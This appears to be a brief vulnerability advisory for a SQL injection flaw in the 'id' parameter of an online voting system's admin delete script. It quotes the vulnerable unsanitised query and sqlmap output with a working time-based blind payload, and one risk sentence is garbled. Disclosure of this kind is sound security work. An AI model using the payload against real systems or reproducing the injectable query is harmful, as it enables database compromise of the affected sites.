SQL injection vulnerability exists in id parameter of /admin/positions_delete.php file of Advanced Online Voting System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
5           $id = $_POST['id'];
6           $sql = "DELETE FROM positions WHERE id = '$id'";
7           if($conn->query($sql)){
```

```
sqlmap identified the following injection point(s) with a total of 1157 HTTP(s) requests:
---
Parameter: id (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)
    Payload: delete=&id=1' RLIKE (SELECT 6452 FROM (SELECT(SLEEP(5)))bcxA)-- PulM
---
```

“

Parameter: id (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)

Payload: delete=&id=1' RLIKE (SELECT 6452 FROM (SELECT(SLEEP(5)))bcxA)-- PulM

“

Source Download：

https://www.campcodes.com/projects/php/online-voting-system-in-php/